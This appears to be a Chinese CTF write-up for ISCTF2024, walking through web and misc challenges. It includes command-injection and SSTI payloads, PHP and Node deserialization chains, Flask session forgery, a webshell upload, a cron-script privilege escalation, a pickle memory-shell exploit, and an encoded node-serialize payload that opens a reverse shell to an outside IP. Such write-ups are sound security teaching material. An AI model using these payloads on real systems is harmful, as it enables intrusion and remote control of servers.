RE:ISCTF2024

RE:ISCTF2024
EZL1NGWEB
1z_php
1 |
|
简单的命令过滤
flag在根目录/f14g
payload:
1 | J=ca\t /f14g |
ezrce
1 |
|
空格使用$IFS、${IFS}、$IFS$9、%09、<、>、<>、{,}(例如{cat,/etc/passwd} )、%20(space)、%09(tab)
这里空格使用%09
eval|system|exec|popen|shell_exec被过滤使用print
命令可以使用\隔开执行
payload:
1 | ?cmd=print(`ta\c%09/f*`); |
25时晓山瑞希生日会
User-Agent改为Project Sekai
1 | User-Agent: Project Sekai |
增加
1 | X-Forwarded-For: 127.0.0.1 |
根据题目描述
1 | 题目描述:瑞希是神山高校一年级生,《25时,在Nightcord。》的MV师。马上要到生日了。生日会邀请了很多人来参加。 |
25时 9.15,思路错误
从⽹上查资料得到晓⼭瑞希的⽣⽇是8⽉27号,随便输⼊个⽇期格式发现回显要RFC822格式,去⽹上搜⼀下格式得出最终⽇期
1 | Date: Tue, 27 Aug 2024 05:00:00 GMT |
得到flag
UP!UPloader
文件上传页面
传木马发现可以成功上传但是找不到路径
/include.php可以文件包含
使用php伪协议包含upload.php看看上传逻辑
1 | php://filter/read=convert.base64-encode/resource=upload.php |
1 |
|
发现上传后的文件放在了/uploads/
路径逻辑为/uploads/+md5(文件名字含拓展名)+ . +拓展名
1 | 上传1.php |
根目录没有找到flag
怀疑在系统系统变量
1 | printevn |
ezSSTI
根据题目考察ssti
1 | {{2*3}} 输出6 |
存在ssti
传入的参数为user_input
焚靖梭哈
只过滤了: _ 和 [
手工注入:
1 | {%print (cycler.next|attr(("%c"%95)*2+'globals'+("%c"%95)*2)|attr(("%c"%95)*2+'getitem'+("%c"%95)*2)(("%c"%95)*2+'builtins'+("%c"%95)*2)|attr(("%c"%95)*2+'getitem'+("%c"%95)*2)(("%c"%95)*2+'import'+("%c"%95)*2))('os').popen('whoami').read()%} |
小蓝鲨的冒险
1 |
|
md5弱比较
1 | if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) |
md5('QNKCDZO')
的结果为0e830400451993494058024219903391
(以0e
开头)。- 在 PHP 中,以
0e
开头的字符串在弱比较(==
)时会被当作科学计数法的0
,因此只需找一个不等于QNKCDZO
但 MD5 值也以0e
开头的字符串。
可用字符串:s878926199a
(其 MD5 为0e545993274517709034328855841020
)。
通过parse_str($b)
修改$a[0]
,需构造GET
参数:b=a[0]=s878926199a
。
代码对$_POST["num"]
的要求:
$num == 2024
→ 需避免(否则die("QAQ")
)。preg_match("/[a-z]/i", $num)
→ 不能包含字母(大小写均禁止)。intval($num, 0) == 2024
→ 转换为整数后等于 2024。
满足条件的$num
:2024.5
switch的要求:
1 | switch ($which) { |
switch
使用弱比较(==
),需让$which
匹配case 0/1/2
,且$which.'.php'
为flag.php
。
构造GET
参数which=flag
:
'flag' == 0
→ 弱比较为true
(字符串flag
转数字为0
),进入case 0
。case 0
无break
,会继续执行case 1
和case 2
,最终加载flag.php
并输出$flag
。
Payload:
1 | GET 请求:?b=a[0]=s878926199a&which=flag |
ezserialize
1 |
|
代码逻辑分析
- 核心类功能:
Flag
类:私有属性$flag
存储着/flag
内容,getFlag()
方法可返回 flag,但__toString()
被重写,无法直接通过 echo 对象获取。User
类:关键在于__wakeup()
方法 —— 当$isAdmin
为true
时,会创建Flag
实例并输出 flag;否则仅输出用户名。
- 执行流程:
- 接收
GET
参数data
,反序列化为$object
。 - 若
$object
是User
实例,则echo $object
(但这里echo
的实际作用是触发流程,核心逻辑在反序列化时的__wakeup
)。
- 接收
漏洞点与利用思路
User
类的__wakeup
方法是关键:只要反序列化后的User
对象中$isAdmin
为true
,就会直接输出 flag。因此,我们需要构造一个$isAdmin = true
的User
对象序列化字符串,通过data
参数传入。
具体步骤
- 构造
User
对象:创建User
实例,手动将$isAdmin
设为true
(默认是false
)。 - 序列化对象:将上述对象序列化为字符串。
- 传入参数:通过
GET
请求将序列化字符串作为data
参数传入,触发反序列化和__wakeup
方法。
构造序列化字符串:
1 | $user = new User('admin'); |
payload:
1 | ?data=O:4:"User":2:{s:8:"username";s:5:"admin";s:7:"isAdmin";b:1;} |
小蓝鲨的秘密
访问直接跳转到https://www.bluesharkinfo.com/
抓包直接getflag???
千年樱
1 |
|
增加Cookie
得到/get_contents_qwerghjkl.php
1 | <!DOCTYPE html> |
file_get_contents绕过:
- 使用php://input伪协议绕过
- ① 将要GET的参数?xxx=php://input
- ② 用post方法传入想要file_get_contents()函数返回的值
- 用data://伪协议绕过
- 将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
- 或者将url改为:?xxx=data:text/plain,(url编码的内容)
这里的选择data
payload:
1 | name=data://text/plain,ISCTF |
得到下一关/well_down_mlpnkobji.php
1 | <!DOCTYPE html> |
1 | bool is_numeric ( mixed $var ) |
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,浮点型返回空值即 FALSE,不仅检查十进制,同时也检查十六进制
绕过
1 | ?output = 114514%00 |
poc构链类似2024XYCTF的连连看到底是连连什么看
使用以下 项目
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
1 | python.exe 2024_ISCTF千本樱.py --chain "sakura for ISCTF<?php" |
1 | ?output=114514a |
小蓝鲨的临时存储室
上传木马后得到了文件路径
执行命令发现无法cat /flag
查看id发现当前用户权限为apache
/flag权限
想着提权
发现/down_file.sh我们拥有操作权
读取发现
1 | #!/bin/bash find /var/www/localhost/htdocs/uploads/ -type f -name "*.php" -exec rm -f {} \; |
他会将我们上传的文件定时删除 所以会出现not found
这里他也使用了/bin/bash
我们可以追加修改/flag的权限,如果直接命令追加未成功
1 | pass=system('echo "chmod 777 /flag;" >>/down_file.sh'); |
或者读取/flag文件内容到/tmp/1.txt文件中
1 | cat /flag >> /tmp/1.txt |
等待一段时间后便可得到flag
小蓝鲨的故事
点击Read Hacker会跳转https://isctf2024.bluesharkinfo.com/
因为是复现,网站当时环境应该已不存在,不影响做题
dirsearch扫一下
1 | Target: http://gz.imxbt.cn:20709/ |
存在三个路由
/console
/robots.txt
1 | User-agent: * |
根据提示知道这是 key tXkngV80
抓包的时候发现存在session
利用key解密session
1 | python3 flask_session_cookie_manager3.py decode -c eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.aJRNgQ.iqyuNEbNLLH8he3TKWkbAQSWotg -s tXkngV80 |
尝试伪造root无任何效果
回到主页面Read Hackerr
尝试访问Hacker
查看源码
伪造ISctf_Hacker
1 | python3 flask_session_cookie_manager3.py encode -t "{'username': b'ISctf_Hacker'}" -s "tXkngV80" |
得到flag
天命人
考察php反序列化
1 |
|
md5弱比较
1 | $yin="s214587387a"; |
yin的md5值为0e开头
所有yang需要为0e开头且md5后仍然为0e开头的字符串
1 | | 0e215962017 | 0e291242476940776845150308577824 | |
链子顺序
1 | Tianmingren->Dinghaishenzhen->Huoyanjinjing->Wuzhishan |
- 反序列化结束 → 触发
Tianmingren::__destruct()
echo $this->tianming
→ 触发Dinghaishenzhen::__toString()
$f = $this->yun; $f()
→ 触发Huoyanjinjing::__invoke()
echo $this->huoyan->jinjing
→ 触发Wuzhishan::__get()
(访问不存在属性)- 在
__get()
中验证GET参数J
后输出flag
这里还需要注意throw new Exception
exp:
1 | class Dinghaishenzhen { |
如果是数组绕过还需要将输出 payload 的第二个值索引置空即可绕过异常机制,强制触发__destruct()
1 | a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";N;s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";N;s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:0;i:0;} |
payload:
1 | ?J=0e215962017 |
新闻系统
源码如下
1 | from flask import * |
可知sessionkey为W3l1com_isCTF
对于admin的session有以下要求
- status为admin
- username为admin
- password为admin222
登录test账号
得到以下数据包
解密session
1 | /bin/python3.10 flask_session_cookie_manager3.py decode -c .eJyrVsrJT8_Mi08tKsovUrIqKSpN1VEqSCwuLs8vSlGyUipJLS4xNDRU0lEqLkksKS0GCpUWpxYB-SAqLzE3FapIqRYA7_MZ7A.aJRmjA.L4kfYlltCs6SPKJnSl1e3q3rZdU -s W3l1com_isCTF |
由此可以伪造session登录系统
1 | {'login_error': True, 'password': 'admin222', 'status': 'admin', 'username': 'admin'} |
访问/admin 替换session
成功进入
add_news 函数存在 pickle 反序列化
1 | serialized_news = request.form["serialized_news"] |
出题人把回显位过滤了,打内存马
exp:
1 | import base64 |
随便页面传入cmd执行命令即可
或者
1 | import base64 |
发包
之后访问admin即可
ezlogin
在app.js文件中可看到unserialize
1 | function auth(req, res, next) { |
参考文章https://cloud.tencent.com/developer/article/1374840
使用 nodejsshell.py 脚本生成shell
1 | #!/usr/bin/python |
需要使用python2
1 | [+] LHOST = 8.8.8.8 |
生成js反序列化的 payload:
1 | {"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,56,46,49,51,48,46,50,52,46,50,53,51,34,59,10,80,79,82,84,61,34,51,57,48,49,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"} |
登陆成功后抓包就有了 cookie 字段,将 payload进行base64 编码后传入 cookie 的token,攻击机开启监听
其他方法参考
外带回显到login.ejs中
payload:
1 | {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls />./views/login.ejs',function(error, stdout, stderr){console.log(stdout)});}()"} |
蓝鲨的java入门课堂(未复现)
1 | package org.example; |
ezejs(未复现)
原型链污染,污染 ejs 模板属性进行 rce
小蓝鲨的书店(未复现)
改编⾃2023年强⽹杯thinkthop,考察sql注⼊intodumpfile写⼆进制⽂件和thinkphpv5.0.23pop链,file_get_contents伪协 议phar利⽤,注意写⽂件要利⽤脚本重新⽣成⼆进制⽂件内容,绕过签名验证。题⽬没有过多waf,重点在考察intodumpfile写⼆ 进制⽂件和phar签名特性
MISC
File_Format
foremost文件提取到了一个exe WinAce
查询知道为一个压缩解压文件软件
flag使用bandizip打开可以看到里面为一个加密的flag.txt无法解压会报错
将后缀改为.ace
在ARCHPR中爆破
找到口令241023
然后再把附件后缀改为.exe打开
输入密码提取flag
watermark
key1文字隐水印提取key1:FAAqDPjpgKJiB6m
https://www.guofei.site/pictures_for_blog/app/text_watermark/v1.html
key2盲水印提取64oRvUfta9yJsBv
少女的秘密花园
得到一张图片
图片中隐藏一个base_misc文件
包含加密的txt文件
爆破出密码
得到的flag.txt内容如下
厨子打开是一张图片保存
得到一张类似于畸形的二维码修复宽高
图片内容为盲文解密
蓝色为字母,红色则为数字,最后的三个方块则为等于
得到
JFJUGVCGPNBTA3LFL4YG4X3GOIZTK2DNGNXH2===
base32解码
游园地1
图寻题
题目描述:guoql之前出游,去了一处全国遍地都有的一个地方,你能帮我找到具体位置吗?得到的结果用以下格式书写:ISCTF{xx省_xx市_xx区/县_具体所在地},推荐使用百度地图得到结果,不需要写街道等,如可写为河南省_郑州市_二七区_二七广场(并非答案)
各个平台随便搜搜
ISCTF{湖北省_武汉市_江汉区_中山公园}
游园地2
图中可以明显看到山崎居酒屋
武汉市江汉区山崎居酒屋
武汉市江汉区新华路458号鸣笛1988商业街B107号商铺
ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_}
目前差游戏的圣地巡礼
https://anitabi.cn/map可以看所有的圣地巡礼
游戏为恋爱绮谭
1 | ISCTF{湖北省_武汉市_江汉区_鸣笛1988商业街_恋爱绮谭} |
数字迷雾:在像素中寻找线索
得到一张DK盾logo图片
lsb隐写
得到的flag自行补一个}即可
老八奇怪自拍照
根据题目描述521,以为是steghide隐写,思路错误
看lsb 521通道
存在一个压缩包,提取得到一张图片
作者存在信息应该为一个密码
考虑到带key图像解密
1 | steghide.exe extract -sf isctf.jpg -p 1ScTf2024! |
得到flag
秘密
得到存在加密的压缩包
或者010查看
得到密码:ISCTF2024
解压不成功发现是伪加密
修复压缩包解压得到照片
因为题目描述为这是我们的秘密,所以对应的解密工具为oursecret
或者可以尝试每一个带key解密的图像工具
得到flag是文本零宽字符隐写
https://330k.github.io/misc_tools/unicode_steganography.html
赢!rar
套娃rar
密码为admin123456
类似于 XYNU2024信安杯的can_you_find_me_misc_version同样得到520个文本
考察Ntfs数据流
得到KGJB1J2NvEaJVR3xHNZFdMKsV6G2VTE++
xxencode
像素圣战
将附件图片上传到该网站
密码为ISCTF
得到
1 | 10111110011011000011000110111111101100111101001110010110011101110001100100011111110101101101010011110011101001111010011011011111001100100101110111101100010010101110000111001011001001 |
b神工具梭哈
starry sky
f1ag.txt内容为
1 | T4qIqpxAFAkzXdoH6Ji+VhH8j1ShJcz+7YcvwP5EBHcXp5OO5v0GHA== |
st@rrysky.png无法查看
记事本查看可见为base64
删除
1 | data:image/jpeg;base64, |
在CyberChef中解码导出得到可查看图片
可知xorkey为:FF
对xor文件进行xorFF
得到一个音频文件
直接听,再结合题⽬描述推测出是SSTV⾳频,直接解码⾳频。
拿到DESKey直接解des即可。
奇怪的txt
题目描述:李华今天收到了一封奇怪的信,来信的人说他有很多玩偶,想使用一种方法将玩偶排序,他听说有一种方式是把一堆玩偶编号排成一个圈,假如从序号1开始,每当数到7时挑出这个玩偶,直到所有的玩偶都被挑选完毕,但是愚笨的他不知道这是什么意思,所以写信求助李华。假如你是李华,你能帮来信的人实现这个方法吗?
猜测是将7的倍数的txt拼起来,一直循环
发现第73个txt文件大小不同
可能为最后一个
是经典的约瑟夫环问题
1 | import os |
合并后的txt循环解码
1 | import base64 |
神秘ping
发现文件流被逆置
1 | with open("input",'rb') as f: #以二进制的形式读取文件内容 |
得到一个pcap文件
发现命令执行
追踪TCP流
既然题目的名字叫神秘ping,我们就需要对ICMP流量进行分析
这里的icmp流量的data以及length都没有奇怪的地方
然后看到这里的ttl符合ttl加密的特征
ttl加密可以参考
https://www.cnblogs.com/fishjumpriver/p/18013560
然后我们用命令将ICMP的ttl都提取出来
1 | tshark -r p1ng.pcap -Y "icmp" -T fields -e ip.ttl > 1.txt |
然后用脚本进行解密
1 | f = open('out.txt', "r") |
执行得到flag
神秘的wav
下载得到wav
在web中上传wav
得到
1 | L3NvdXJjZQ== |
访问/source
源码如下
1 | from flask import Flask, request, render_template, send_file, render_template_string |
此处存在模板注入
1 | return render_template_string(message) |
写脚本把ssti攻击语句嵌入到wav文件中
1 | import wave |
上传得到flag
来自天外的信息
musc未复现